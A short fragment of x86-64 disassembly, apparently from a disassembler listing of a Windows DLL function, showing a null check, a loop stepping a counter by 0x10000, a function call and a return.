mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x18000593f
mov rax, qword [rsp + 0x28]
jmp 0x180005975
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x18000596e
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1800059c0
mov qword [rsp + 0x20], rax
jmp 0x18000588d
xor eax, eax
add rsp, 0x68
ret